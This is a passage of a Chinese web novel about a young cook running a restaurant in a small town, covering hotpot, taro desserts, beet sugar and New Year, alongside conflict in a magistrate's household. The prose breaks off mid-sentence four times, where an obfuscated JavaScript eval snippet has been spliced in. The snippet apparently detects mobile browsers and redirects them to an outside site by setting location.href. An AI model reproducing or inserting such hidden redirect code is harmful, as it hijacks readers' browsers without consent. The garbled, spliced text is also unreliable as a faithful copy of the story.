“蕊儿，你这当家主母做得，怎能这么粗心呢？我瞧亲家躺在床上连翻身都难，一日三顿还能喝那么甜的粥？这怎么受得了。你那厨子也不成，女儿家怎么能随意抛头露面，别把自己名声毁了，还连累罗府。” 孟夫人脚底抹油，拿着帕子急匆匆过来，坐在椅子上不悦指责，嘴上不满意，还伸出两根指头扭着。罗夫人冷下脸，完全没有初见时的喜悦，还有肚子里一腔委屈都通通咽回去。 说了有什么用，到头来都是她矫情，都是当娘的人了，有什么事不该自己解决，还能妄想依靠别人不成？ 只能耐下心劝道：“婆母她本就吃不下饭，好不容易有个能够让她用点东西下去的厨子，你把她赶走，我岂不是成了罗府的罪人？” 孟夫人斥责的声量弱下：“但也不能吃那么多糖。” “伯母，老太太是病得下不了床，那也没到连话都说不上的份。您和阿蕊好不容易见上一面，非要句句扎她的心吗？当家主母当的是一府门面，那是男人的丫鬟婆子？”阿芷重重放下筷子，“一桌子菜都还没动过，苏姑娘手巧，看着就有食欲，一点不比长安里的厨子差，都尝尝吧。” 三人里头阿芷的身份最高，有她的话，孟夫人指责的话都不能说出。 “要是你爹争气，能当个官就好。” 孟夫人心里不满，见着一桌的菜怎么看都觉得不好，还没吃两口菜，先吃了自己一肚子气。搁下筷子，不顾阿芷在边上，站起身就往外边跑。 罗夫人抬头憋回眼里的泪，带着笑夹菜：“这些菜可还合你的味，若是不喜欢，明儿我再换个厨子来。” 阿芷欲言又止，擦去嘴边的油，想到那姑娘的背影，轻声道：“做蟹酿橙可不容易，县里难得出了一个这么好的厨子，我自然满意。” …… 苏眠雪数着钱袋里的碎银，一共二两银子。一顿饭得了二两银子，和那些随便撒撒水就是十两、二十两银子的比不得，二两银子够她买不少东西，来回有马车接送，用得食材也不是自己的。 她手里数得钱越来越多，算盘拨得也越来越快，二两银子对她而言不再是大钱。 罗夫人不满意今天的菜，让苏眠雪值得注意的是这个。 苏眠雪百思不得其解，对于今天的菜她觉得都没问题。 招待阿芷夫人为抬她的面子，她做了蟹酿橙和花椒鲈鱼。 因为父亲是厨师的原因，她对菜的渊源也有了解，蟹酿橙在宋朝时风靡一时，非大富大贵的人家不用。 罗县令府中的蟹不错，在冬日还能有这么大的四个，一看就花了不少银子，剩下的鸡汤和两道素菜，孟夫人是罗夫人的母亲，所以做了些家常的，难不成是不满意素菜？ 车子停在酒楼前，回来的马车坐得是之前接送她的那辆，跳下马车，因为冬日又近年关，周围酒楼铺子都不景气。 要过年了。 苏眠雪感慨万千，她来时是四月，正是春天的时候。 一转眼，还没见过多少花儿、草儿，每天重复着走着两条路，看得最多的就是酒楼外的淮河。 淮河上面结了层冰，不少孩童在岸边滑冰，妇人想洗衣裳，必须拿工具将上面的一层冰砸开，双手泡在冰水里，洗着一家子的衣物。 苏眠雪多看了几眼，就被冷风糊上一脸，风中狭着细雪，麻木冻僵的面上感受不到细雪的丝凉，推开酒楼的门，炭火很足，吹在脸上痒痒的。 和街上的冷清不同，酒楼里头很热闹，几人手上捧着菜一盘盘的往桌上放，中间被各种菜簇拥着是一顶唐三彩火锅炉子。 紧闭的大门突然打开，众人目光纷纷落在她身上，首先是苏盈先跳过来，挽住她的手：“阿姐快来，今天酒楼里还留了好多菜，琳姨和高叔说弄‘拨霞供’，我还从来没听过，不过听他们说，是非常好吃的东西！” “冬天吃可暖和了，等会到把窗户打开，还能看雪。汤底都准备好了？” 苏盈点头：“裴叔也是这么说得，琳姨和高叔在里面做汤底，那炉子中间高高的，还有一块板子隔着，底下可以放炭火，上面倒汤，把肉啊、菜啊往里面一涮就熟了，听起来就神奇。”巴掌大的小脸，一双眼睛又黑又大，笑起来时两边眉间似月牙儿弯弯。 苏眠雪将她额前的几缕碎发撩到耳后，少女经过蜕变，穿着好看的衣裳，落落大方站在中央，她聪明上进，是苏眠雪在这儿的支柱。 “进去看看吧，有板子隔着，可以做两个汤底，好久没吃辣了。” 苏盈上私塾之后，两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268210|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相处的时间甚至不及裴攸，两人都是沉默的。 苏盈是因为从小的习惯沉默，苏眠雪是迫不得已所在陌生的环境，去尽力适应，又害怕的不得不自我保护的沉默。 真心可换真心，她把所有事都做好，她成为别人的依靠，在这个雪日里，一个镇上，几个志同道合的人相聚在酒楼中。 抛开所有的身份，他们在这一刻，拥有世间上最美好的友情。 “阿雪，快过来，你要吃酸一点的，还是咸一点的？这个花生能煮吗，这样吃起来有些硬唉。” “用来下酒吃得，那是你拿着一盘找个窗户做一天，啥也不干就干吃！” “把花生打碎，兔肉裹着花生会怎么样？” “不错唉，把舂桶拿来，我们就弄一些，味道不行也能偷偷处理掉……东……东家，您回来啦，去县里一趟一定累坏了吧。” 原本懒散的人立刻站得笔直，东家严厉，东家偶尔可以休息，但他们不能在东家眼皮子底下偷懒。 十几个人站在一排，不管怎么看都颇为壮观。 一个个脑袋垂着，肩膀一个劲地缩，把自己身边的挤到前面去。 苏眠雪看了会，一伙人小动作不停，掌柜的顶着压力硬着头皮解释：“东家，街上都没人了，边上的铺子都收摊关门了，我们才做这些的。” 掌柜指着后边一桌的菜，拿眼神示意坐在一旁，主人做派十足的裴攸：“这些菜要是不快点处理掉，都奄了，要拿去丢掉。” 苏眠雪寻了一个空位，和声和气道：“都坐回去吧，舂桶在第三个灶头的货架上，最底下那个就是，拿过来砸花生，拌在料汁里也好吃。再开两坛酒好酒来，叫那什么……” “我们店里的都是好酒，东家不爱喝酒，今天要多酌两杯，好好热闹！”掌柜大喜，脚下抹油，回音荡在酒楼里，人却已经到酒窖里面了。 “谢谢东家!谢谢东家！”高学林有样学样，捧着苏眠雪，凑到她边上，“东家，您还有什么吩咐？” 苏眠雪当真发话问：“只有一个锅吗。” 高学林答：“还有两个，冬天吃‘拨霞供’暖和身子，我们店里备了好几个。” 苏眠雪直接出口：“再做一个辣的锅底，牛油炒化，先加大蒜、生姜、辣椒、葱炒匀，下豆瓣酱和辣椒油炒出红油，然后加辣椒爆炒，下香料再炒匀，最后加热水煮开就成了。” “东家别为难学林了，你快瞧瞧，这是什么。”高胜端着一锅汤出来，琳娘跟在边上，提着茶壶。 一锅红油的麻辣汤底，一壶拿鸡汤煨出来的清汤锅底。 两壶汤倒进唐三彩火锅中，一块板子隔着红油汤底，一红一白，漂浮着翠绿色的大葱，似那鸳鸯平分秋色。 窗外，白雪覆了小镇，雪不知停歇地落下，飘飘细雪停在窗柩上，一枝红梅立在窗前。 白雪掩不住风姿，迎面寒风自若，当斩东风。 51. 芋泥碗 “落花兔肉，兔肉卷着花生，飘在锅里跟花儿一样，口感更丰富，只需三十文一盘嘞！”小二手里端着堆成小雪山的兔肉，两片切得薄薄的兔肉中间夹着花生碎。 如粉红羽翼般可见肉下血线的兔肉，微微鼓起的稀碎花生压在下面，因为有了一层花生的打底，肉片贴着中间凸起一块的瓷盘，体积会比普通兔肉更大一些。 实际肉的数量是相同的，肉片还比普通的薄。 按照琳娘的话，肉都多给一片了，薄点怎么了。要是都一样，还赚不赚钱啦？ 其实原话是苏眠雪说得，但他们东家最是和善，怎么能有这种想法。 欲满楼就是比津味楼实惠，种类多，服务好，只要来了店里，不管您吃多吃少，服务态度上定要包您满意。 价格的实惠源于菜的基础上再多改良，冬日里喝上一口热汤，肉片往锅里一烫，捞出来就能吃了。 汤底好喝，还能自己来‘煮熟’这道菜，心里动手的能力满足，菜的类品丰富，还有茶点中和，一顿饭下来不仅吃得开心还有趣。 火锅店吸引客源的其中一个办法就是免费的冰淇淋、饮料之类，有些东西复刻不了，苏眠雪便拿白水和糕点来代替。 每天不同的糕点一人限拿一块，就是一块也要三文钱。苏眠雪拿更多的银子，撒点小钱来引诱鱼儿上钩，何乐而不为。 苏眠雪进了厨房，随意搭在一把椅子上，撇撇嘴，思索该做些什么东西。 在一个小镇上，欲满楼的种类算多，何况镇上的人不会离开小镇，是个实打实的舒适区。 但苏眠雪已经下了决定，她要去长安，在四月的时候，去长安。 路上的盘缠不是问题，她身上的银子足够她拖家带口从淮州到长安再折回。 头疼的在于如何在长安立下脚跟，小镇上一年的租金是五两银子，对于现在的她来说不算多了，五两银子生意好一天就能赚来，刚开业那会活动不少，除去成本她都赚了十来两银子，还有之前富商的赏钱，已经足够她买下这处酒楼。 红薯、紫薯、芋头洗干净去皮切块，放在盘子里通通放上去蒸熟。 红薯紫薯特有的香味而来，拿得红薯是甜心的，拿起一块塞进嘴里烫的直呼气，却舍不得吐出去，忍着舌头上被烫两泡的风险将红薯咽下去，甜甜的，从喉咙滚到胃里也是暖暖呼呼。 将其放在三个盆中，加糖压成泥，少量多次放木薯粉和水揉匀，揉成光滑的面团，取三分之一在锅里煮四分钟，取出来和先前的大块面团再次揉到光滑均匀，分成长条切小段，撒淀粉防粘。 琳娘看着苏眠雪变出三团不一样颜色的面团子，拿在手上糯叽叽，跟馒头一样，怎么捏都不会变形，一个软一个跟硬，不叫彩馒头，应该叫彩色面团。 “东家，这些彩色面团是什么东西，做出来怎么吃，用锅蒸吗。” 苏眠雪给她解释，顺带说出自己的想法：“这叫芋圆，用水煮开，加在牛乳、豆花里头吃。我打算和‘拨霞供’一块做个套餐，捆绑出售，比如一个汤底里面有两份蘸料，两份芋泥碗，还有兔肉，落花兔肉，鸭肠，牛肉……指定的荤类里面四选二，素菜六选四。” 她拿出锅里剩下的紫薯和芋头，盆里的不多，是做芋圆剩下的，加白糖和牛乳捣匀，手工打得不够细腻，苏眠雪拿小碗和勺子舀了些出来，甜味不浓，又加了些糖进去搅和，拿干净的小勺舀些出来，直到甜度适中。 琳娘有些犹豫，价格都摆在上面，按照苏眠雪的说法，想要推出套餐，价格肯定要下降，下一点不够，最少一份菜要少划二到三文的价格，不说普通兔肉和落花兔肉，还有牛肉、鸭肠的价格都不一样，不管怎么选，来这儿的食客估约都不吃这一套。 苏眠雪接着说：“新的和正常价格有差距不为过，在外面拿板子贴张纸，上面写上最后两天活动，让裴攸写漂亮些，明天摆在外边。” 本质上价格不变，提高单品价位，以此来销售捆绑商品。 来吃饭的不少普通客人喜欢算价钱，拿张纸在桌上慢慢算，算累了发现套餐不仅东西多，总的算下来还便宜，但又因为东西多，不能把所有好的都在一张单子上，就会有许多套餐。 小汤圆在荷叶碗中打了一层底，放一勺芋圆，一勺红豆，一勺芋泥，再摆颗芝麻馅的汤圆和花生馅的汤圆，牛乳没过小料，只留一个顶。 “裴攸写字写累了，拿去给他吧。若有人问起，便说十五文一碗，今天只有十份。” …… “雪铁路上难走，今天好不容易停雪，派人去请苏姑娘这一来一回，两天都要不少时间，刚好我从来没吃过镇上的酒楼，去见见，当长长见识。”阿芷想得通透，雪天一来一回耽误脚程，今天天气好明天又是另一个样，去店里用膳也一样。 罗夫人轻快道：“景乡镇小，我来到这么多年都没好好看过，难得你有心思，全我在外头透风的机会，我也不扫你的兴，等用过膳，坐着马车好好看看，东西虽然没县上多，但时间久了，就没机会再出来了。” 欲满楼今天人算得上多，半个酒楼都被坐满，二楼的位置只剩下几个，罗夫人选了靠窗的位置。 窗外景色好。酒楼内布局简约，没有多余的景观摆设，展示之类，墙上挂了几幅字画，平平无奇却异常干净。 帕子轻轻擦拭光滑桌面，上面干干净净。 琳娘走上前问：“两位客官要用些什么，我们店里有新出的‘拨霞供’，可以一边赏雪，一边涮肉，汤底有清汤的、红油的，还有鸳鸯锅底，您们看看想吃什么。” 菜单递上，阿芷选了鸳鸯锅底。锅里红油咕噜咕噜冒着泡，红油被挤到边上，是雪白雪白的浪花绽放在中间。 阿芷束起两边袖子以免油滴沾在身上，夹起一片肉放在红油锅中，青花椒在一片红油中不染，煮熟的肉片又麻又辣，还需小心溅起的油滴。 就是袖子束起，涮肉时也有不便。 罗夫人不喜欢辣，小心避开红油锅底，只守着半边的清汤，溅在桌上也不显眼，吃得热了推开窗透气。 阿芷被辣得不行，小二送来的水压根不能止辣，眼尖地瞅见站在中间吃芋泥碗的裴攸。 苏眠雪对于两位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272129|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人的到来大为震惊，罗夫人向来是需要她的时候，派人提前一天通知她。 来到镇上的一处酒楼，意外大于惊喜。脑海中演示了许多两位夫人不满意的画面，脚下一点也不带多停留的，走到两人面前轻声询问。 阿芷被辣的直冒汗，舌头被麻得发疼，尽力端住姿势，怕一时忍不住失了仪态，“苏老板，那位公子手上的是什么。” 苏眠雪心里山路十八弯，阿芷夫人被辣的额头上满是汗，张着嘴呼气，还好没怪罪她，官夫人出事她担待不起，只有一条命。 “是芋泥碗，夫人需要吗，我给您们拿两碗来。” 阿芷连连摆手，辣出两痕清泪：“快去。” 这后劲真大，刚刚吃得时候一点感觉都没有，就几根辣椒怎么会越煮越辣，越煮越麻。 她现在连烫的都难入口，放进去就抽抽的疼。 一杯杯温水下肚怎么也不解辣。苏眠雪揪了眼，店里像阿芷一般的人不少，只是问起其他茶饮时总要先问问价格，一顿火锅搓下来，一杯三文钱的茶却不愿意掏，因为有免费的白水在。 苏眠雪也不勉强，拿出来两碗加了碎冰的芋泥碗。 冰和糖可以解辣，吃了咸的再吃甜的，甜味会被降低，冰感充斥着口腔，将辣意驱赶，短暂的甜味占据味蕾到身心。 回味过后又开始回念辣意的感觉。 这也是为什么每次被辣的不行，一段时间后又念着辣。就像每每下定决心再也不吃这玩意了，下次又忍不住想要，回味吃辣“受虐”的过程。 人就是这个心理。阿芷捧着碗喝着牛乳，吃了几片清汤里的肉片，又将筷子伸向红油汤底中。满足的呼出嘴里的热气，拉住苏眠雪：“苏姑娘想去长安吗。” 她想去长安的消息暂且只有裴攸知道，两个人住在一座屋子里，用相同的瓦盖得屋檐下。 裴攸缺钱到把她去长安的消息卖出去了？ 眸色渐晦，她低着头看不出神情。阿芷本就是随心一问，未放在心上。 抬起头的那刻，眼中柔意未消，依旧是将顾客放在第一位的苏老板。 “是有这个想法，不过一切都是未知的定数。” 阿芷露出喜悦，吃着碗里的芋泥，眼中是未退去的纯真，“阿蕊，我在这陪你过年，过完年我们一块回长安，你住在我府里。苏老板若是去长安，便住在我府上先当个厨娘，工钱我按府里最高的给，你跟来路上长途跋涉也不好受。若要回来，等我家夫君凭证下了，我们再一块回来。” 罗夫人神色从容，笑不及眼，缓缓放下筷子，自若问：“我吃好了，这雪说来就来，等会还要逛镇子。 ” 阿芷擦唇，边上丫鬟给她整理好束起的袖子：“苏姑娘，你觉得如何。” 苏眠雪眉目舒展，嘴角噙着淡淡的笑意，毫不犹豫拒绝：“多谢夫人好意，苏某暂时未有离开镇上，去长安的想法。” “你不再考虑一下？”阿芷追问。 “深思熟虑，心意已决。若是有缘，长安城内依旧能见。”苏眠雪斩钉截铁，没有半分犹豫。 52. 甜菜制糖 园子里的甜菜叶子生得茂，紫色的茎长在根上，小小一个长在地里讨人喜爱。 扫去棚子上边的雪，天气冷导致地里的土邦硬，六七个甜菜挤在一块，底下的甜菜疙瘩瞧得只有巴掌大小。 苏眠雪等不及了，拿小锄头将边上冻硬的土一点点撬开，带上手套挖着边缘的土，实在冷的受不了，将手捧着拿到嘴边哈着热气，一边动一边休息，耗了半个时辰左右，六个甜菜疙瘩终于挖出来，一双手也肿成了小馒头。 还没发好的死面馒头，从肉眼上看，是要长冻疮的节奏。 她当厨子每天冰水是必碰不可的，将甜菜抱在怀里带进厨房。 裴攸和苏盈正在贴对联，大门、小门和厨房上都贴上对联，厨房里头贴得是灶神，一顶铜色慈祥的老人摆在角落，点了两支蜡烛在边上，意味着家庭繁荣、安宁兴旺，重视家庭和睦和食材丰收。 后院的白菜生机勃勃，碧玉覆白雪，在盎然中迸发春天的力量。 冬雪初临，十二月正悄然离开，翻阅日历，上面正画着今天是十二月的最后一天。大年三十庆。 苏眠雪没做什么准备，她走出门，各家各户门前挂上大红灯笼，串串辣椒高高挂在树上，没有她想得火树银花，相反非常古朴，各家穿上新制的彩色衣服，年画上吉娃娃模样的孩子蹲在雪地里堆起跟他们相差无几的雪人，戴着虎头帽儿，穿着大红色如意对襟马甲，从远处看跟小孩般。 她才后知今天是大年三十。 要准备些糕点糖果，明天几条巷子的孩子过来，她连糖都拿不出，要成为邻居街坊的饭后笑谈。 家里的白糖贵，自打给了李大娘一家，后了解白糖的品质后，家里的白糖是一点也不敢用。 后知后觉地悔啊，每次想想就心里一阵疼。 后悔！ 后悔死了！ “干什么呢！”苏眠雪眼尖，她家大门外边有个女人鬼鬼祟祟，难不成见她家对联的字好看，想偷不成，“你来我家做什，站我屋外偷偷摸摸干什么偷鸡摸狗的事呢？” “雪丫头，明天就要过年了，你家门外还不贴灯笼打年兽，小心晚上年兽来家里作乱把财运和气都偷光了！还有门前这个对联，两边贴了中间的呢，这怎么镇得住呢？” 李大娘脚边是两顶红色灯笼，李大伯手里拿着几个贴在门头的对联走来，一手拿着一个给他看，总共四张，写了不同的字，“雪丫头你看看，这四张你要选哪两个。” 李大娘把灯笼挂在两边挂灯的地方，苏眠雪选了喜气盈门和吉祥如意，弯下腰带着歉意道歉：“抱歉，李大娘刚刚误会你了。” “没关系，这算什么大事。大牛让我多照顾照顾你，你也给大牛送了不少东西对吗。”李大娘性子泼辣，眼里闪烁精光，矮了她半个头的身子将她拉倒别处，要她弯下腰听她在耳边小说打算，“雪丫头，你们店里的菜接下来一年怎么样，酒楼里面用得量大，每次都去菜摊上买菜，多浪费钱啊。” 苏眠雪皮笑肉不笑，挺直了腰：“李大娘，我爹的银子都用完啦？” 李大娘捂着唇干笑了两声，眼神一个劲往边上躲闪，“五两银子能买多少东西啊，你也不看看现在是什么世道，价格多贵呢，也不是大娘故意诓你，别多想了呀。” “这样啊。”苏眠雪详作思考，“刚好，我也要准备离开这了，估计就三四个月的事，就不用麻烦您了。” “雪丫头，大娘还能骗你不成？你怎么不信大娘呢，五两银子给你送了大半年的菜，还能有假不成？”李大娘不死心追问。 天地良心，她就贪了几百个铜板，家里的钱每次送点给李大牛，家里真没多少。 “大娘，这不是银子的事，你若是想，也能接着给我送菜。”她清秀的脸上没有一丝波澜，不痛不痒，细雪落在发间湿了秀发，一双黑眸似黑洞，往深了去看，不是黑洞，是幽静深邃的古潭，就等人跳下去要命。 李大娘打了一个激灵，雪丝从脖子钻进她衣服里。 “你把这些糖拿上，明天可以分给镇里的孩子，一人一块也够了。还有些孩子要红封的，拿红纸包两个铜板就成了，大娘和你开玩笑，怎么会坑你。”李大娘转头喊了一嗓子，“老李你贴好了没，贴好咱们就回去了，下雪了天气冷。” “现在的孩子，真是精明着，几句话都不成了。” “好了好了，拿米糊贴得，结实着，明年的边上撕干净，贴在今年的痕迹上就好了！”李大伯拎着桶和字帖从院子里跑出来，因着年纪原因，跑起来时整个人陷厚厚棉衣中，步态僵硬有些滑稽，“走吧，雪丫头快进去吧，明天伯伯来给你放鞭炮。” 冬天的雪和夏天雨一样随性，不过雪更任性，雨大了下一阵停，雪非要下一整夜。 不管大雪还是小雪，它都要一直下，下一整夜才罢休。 银霜满地遮了来时去后的印子，苏眠雪回到厨房将李大牛送得糖放一边，麦芽糖不少孩子喜欢吃得东西。 李大娘送来的糖不多，十来颗小块装在袋子里，苏眠雪找了一个罐子装糖，叫来裴攸帮忙去酒楼里拿些白糖，话刚落又觉得不放心，将苏盈也一并带去。她这里的甜菜疙瘩做不了太多。 被摘了叶的菜疙瘩泡在冷水中洗去表面的泥，去了皮切成薄片放石磨里碾碎成泥状，放布里挤压出汁，汁液用布过滤去除颗粒杂质。 过滤过的甜菜汁液倒锅里熬煮，大的甜菜疙瘩有拳头大小，小的只有一个拳头，做出来的产量不尽人意，熬煮了半天，加石灰石进去，等筷子能够立在糖浆中间，冒着气泡就做好了。 一开始汁液沾了三分之一，最后成果只有一个锅底多，倒在长方形模具里，要明天才能凝固。 拿回白糖的路上裴攸又买了两袋糖，因为年关的原因，有些东西价格降了，有些却贵了上去。 背着箱子走南闯北的卖糖人来回转着，从这个村到那个村，贪嘴的小孩拿着铜板买那沾了点甜味的棍吃得津津有味。 最后这天苏眠雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282225|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做了三碗面鸡蛋面，煎得金黄的鸡蛋铺在有序交叠的面条上，飘着香喷喷的油脂，撒一把葱花在鸡蛋上，漂亮的很。 鸡蛋咸香边上带点焦边，一口面条一口鸡蛋吃得好不乐乎。 晚上月亮探出头，制好的新衣服摆在柜子里已经迫不及待，苏盈拿出来看了又看，小小的妆台上有几只琉璃贝壳模样的首饰，扎两个团子别在前头就好。 裴攸靠在门上，披着件雪白大氅见怪不怪，等苏盈欣喜完，抬手勾了勾，一双眉毛上挑着，借着月色，好看至极的桃花眼写满了傲娇，转过头，露出圆滚的后脑勺，苍白修长的手从大氅探出来，依旧是招人快来的手势。 尾调微微上扬，含着笑意：“过来吧。” “盈儿有的，阿雪也有。更漂亮。” 苏眠雪和苏盈一开始看着漂亮衣裳，结果不知觉间被人勾走了魂，苏盈不争气地吞了口水，“阿姐，从某方面说，的确是裴哥哥更胜一筹，不过还是大牛哥实心点，干得都是实打实的正事。” 裴攸有些矜娇，苏盈一开始见到这人是这样想得，相貌生得好不顶饭吃，男人找得好还是实打实干事的款。 有银子住大宅子享乐的选裴攸，不然有的麻烦出来。 那会扎破个手指命令了她三天，苏盈就是照顾人，也是苏眠雪花银子买来的，在这家里真把自己当大爷了。 苏盈懒得惯他，每天馒头咸菜端他房里，吃完早饭去私塾听课，没课就去酒楼帮忙，任凭裴攸张着嗓子也没用。 人不在，听不见。 “你说得对，大牛哥在时，家里柴都是他劈得。”李大牛走后就是她们俩劈得。 “走吧。”去看看裴攸又整了些什么。 苏眠雪跟着到自己屋里，裴攸和献宝一样带她到一套衣服前。 料子摸着光滑，橘色的裙子上绣了大片栀子，拿银线编织着布了满衣摆。 外面的大氅颜色要深些，普通人家买不起大氅，都是外边套着厚袄，冬天看起来有些臃肿不美观。 美观也不是普通人能去想的，一件好看的衣服要多少银子，一件袄子多少实惠，又暖干活又方便。 “喜欢吗，卖给我衣服的掌柜说，她一定会喜欢的。” “喜欢，挺贵的吧。”漆黑的眸子澄澈，扫兴的话不兴说，容易泼人冷水，将期待降至最低。 苏眠雪话里有些勉强，眼中光淡了几分：“我们还要去长安，就在今年，你忘了？” 裴攸带着笑的眼垂下，示意苏盈出去，瞳色渐晦，又燃起淡淡微光：“记得啊，但是要过年了，李大娘说要穿新衣服才能有新年，你总不想复去年的路，多不好。” “好不好都是自己走出来的，镇上这大半年以来发生了多少事，好不好不都一步步地走过去了，等把酒楼安顿完，我们也该离开了。” 说有不舍，倒地是自己经营出来的，但镇上只是一个起点，接下来的路还有千千万万个赵儒、贾三，苏眠雪打不倒，只有挺过去。 53. 红糖发糕 早起的苏眠雪换了身简单衣裳，裴攸买芝麻糖回来，她打算再做些其他糖。 就用昨天做好的红糖和拿来的白糖。 下着大雪路不好走，难为昨天两人还给她带白糖回来，要是不做，就有故意折腾人的意思。 白糖倒锅里熬糖浆，剥出来的橘子、切片的香蕉、山楂、榛子、果干丢进去裹一圈，夹出来放盘子上等糖浆凝固。 做起来方便，等糖浆凝固，彩色的果糖用糖纸包好，放在小罐子里，孩子来了就能拿着吃。 过了一个草率的年三十，三人心中心知肚明，但作为第一个新年，总有遗憾在心里。 初一的菜就要丰富许多，从别家买来的糖糕上面撒了芝麻增香，掀开盖在上面的布，连着粽叶切下一块蒸上。 早膳还煮了粥，往里面丢些红枣和红糖。吃过饭，来讨糖和红封的孩子起了大早伸着小手来要糖。 苏眠雪拿出自己准备的糖果和麦芽糖，几个孩子一人拿四五个走，虽然没要到红封，但漂亮的糖果足够他们喜欢。 年初一早饭吃得晚，同时中饭也随意，都在等着傍晚的晚膳。 苏眠雪将大门推开，边上几个妇人神神叨叨，见着她跑上来一脸喜色：“雪丫头，你知道贾家发生什么事了吗？他们家坏事做尽镇上人都恨不得将他们一家赶出去！” “你是做生意的，消息要比我们灵通，可知贾家惹上了什么人，昨天晚上一家老小都被拖出来，后边还有兵官拿着刀，一个个低着头哪还有往日的神气！” “真是恶有恶报，让他们一家子在镇上作乱，老娘恨不得剥了他们的皮吸干他们的血！可怜我儿年纪轻轻一辈子就毁掉了！” “……” 村民你一言我一语，一个人说完下一个接着人，很快苏眠雪身边围满了人。 从他们口中的只言片语得知，贾家无恶不作，看见个漂亮的不管姑娘还是男子就要抢回家做妾，有些性子烈宁愿丢了性命也要保全清白尊严，有些为了一家老小不得不妥协。 “这些都是昨天晚上发生的吗。”她晚上睡得早，早上也起得早，没想到巷子里还有这么多夜猫子。 观察着镇上风吹草动，有点儿事不用半天，看见人抓住聊两句就一堆人知道了。 “是的，李泉家昨天去吃酒，回来的路上看见，一路嚎着嗓门，这不都被吵醒了吗。你们住得深不知道也难免，大伙都记得去看，忘记叫里边的人，就想着雪丫头你知道的东西多，还经常去县里给县令夫人做菜，应该知道些东西。” “对啊，这种事肯定都有所准备的，我当县令爷不当事，原来是还未准备好怕露馅让贾家的跑了。” 苏眠雪听后连连点头，贾家横行霸道惯了，临溪县的官府都是人家花银子养活的，县令银子不多，但县令美人多。 养美人需要花银子，县令又没银子，这一个循环闭口，罗县令傻了才会动他的衣食父母。 就罗县令吃得肥头大耳那样，他更相信是那位县丞和阿芷出手了。 更多的也不在去听，昨天制的红糖定型切块，需要用时拿出一块，化水就能喝。 80克红糖拿水化开，加蜂蜜和鸡蛋搅拌，均匀后放面粉，搅拌至没有气泡颗粒的面糊放到一边发酵。 中午的菜是一块准备，昨天没吃年夜饭，就在今天下了不少功夫。 三个人吃不了多少，但过年这事不能马虎，六个菜里头五菜一汤，意味六六大顺。 初一还要煮饺子，面皮擀好，拌了一个玉米肉馅和酸菜肉馅，苏盈和裴攸各负责一个馅，苏眠雪闲下去准备其他的。 发酵好的红糖发糕搅拌排气，往桌上砸了砸，把边上粘着的敲下去，在上面放上红枣，冷水上锅就能蒸，蒸熟后又香又甜，吃在嘴里甜滋滋软绵绵的，不管冷的热的，饿了就能上手拿一块。 她做了四个，其他三个拿布盖好和糖糕放在一起，拿一个出来用刀分好，随意拿着吃起来方便。 …… 罗府宅子面积小，三个人挤在一个院子里，阿芷住得不好，看在手帕交的面暂且隐忍不发。 每天看着罗夫人府上的人、事忙前忙后，几个丫鬟婆子还听当家主母的话，边上院子的姨娘吭个声便跑过去了。 要她说，不如把账本库房钥匙一丢，将烂摊子都丢给他们，自己出门逍遥快活，在这儿受什么气的。 内院的这些事抱怨两句就算了，孟夫人天天往松亭院钻，恨不得接替边上丫鬟的位置，尽职尽责照顾亲家母，好在罗老夫人有点良心，晓得自己现在都是儿媳在照顾。 从前那花言巧语的贾姨娘现在看到她恨不得躲得远远的，就怕一身污秽沾她身上。 罗老夫人指责了贾姨娘几句，孟夫人在边上帮腔，这一帮不要紧，贾姨娘直接带着一干的丫鬟婆子杀到罗夫人跟前。 “姓孟的，你一个秀才的女儿，要银子没银子，要姿色没姿色，也配霸占官夫人的位置！让你那连脂粉都遮不住皱纹，说句话掉二两粉的娘在老夫人面前挑唆，就能坐稳你这官夫人的位置了？”贾姨娘带着人气势汹汹，吓得边上两个姨娘连门都不敢出。 罗夫人身边的丫鬟已经缩着脖子，哪里有半分护着主子的意思。 阿芷挡在罗夫人跟前，被婆子一掌拉开推在地上，贾姨娘“呸”了口，指着阿芷鼻子大骂：“住在老娘的宅子里，花得老娘的银子置办首饰，也不看看自己几斤几两，还敢挡在孟云蕊前面前，把她头上的簪子都拿下来！” 罗夫人被气得心梗，头次甩脸，巴掌和雨点一样“啪啪”打在贾姨娘头上。 事情闹大，很快将罗县令请回来主持公道。 公道自然也不在罗夫人这边。爱妾哭得梨花带雨，手腕上几个玉镯叮当作响，罗县令当下要罗夫人道歉赔罪，惹急的阿芷又给了罗县令一巴掌，给贾姨娘按下蔑视圣上，殴打外命妇的罪名。 阿芷的巴掌说重不重，就是县令的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 